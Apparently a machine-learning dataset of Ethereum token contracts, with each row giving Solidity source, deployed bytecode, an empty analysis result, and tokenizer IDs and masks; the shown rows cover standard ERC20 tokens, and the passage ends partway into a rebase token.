allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Blackwood is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Blackwood( ) { balances[msg.sender] = 120000000000000000000000; totalSupply = 120000000000000000000000; name = "Blackwood Gold"; decimals = 18; symbol = "1ozg"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820932f1c4406ceee072a7e1f1bd6490c8689a7121d05da8b898de5514fb1b030210029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2050, 2575, 2050, 2692, 21926, 8270, 2497, 2581, 16703, 2629, 3401, 2629, 2050, 16703, 2475, 26337, 2581, 2620, 19317, 2487, 2278, 28154, 2509, 2546, 2620, 2581, 2546, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,148
0x964a96f54E2b1860Cf663E2B7ec97BB3b063B230
// SPDX-License-Identifier: MIT /* * Token has been generated using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220e1cb1ec4713999b055846bd58065f9bed5457fbbe38e19f8a1bdacac619b2c4664736f6c63430008050033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2050, 2683, 2575, 2546, 27009, 2063, 2475, 2497, 15136, 16086, 2278, 2546, 28756, 2509, 2063, 2475, 2497, 2581, 8586, 2683, 2581, 10322, 2509, 2497, 2692, 2575, 2509, 2497, 21926, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,149
0x964ae3ba1314105140adb51c5d82047bd053cdbb
pragma solidity 0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CoreVaultChain is Ownable { using SafeMath for uint256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(this)); _; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string public constant name = "Core Vault Chain"; string public constant symbol = "COVC"; uint256 public constant decimals = 18; uint256 private constant DECIMALS = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 50000 * 10**DECIMALS; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedFragments; function rebase(uint256 epoch, uint256 supplyDelta) external onlyOwner returns 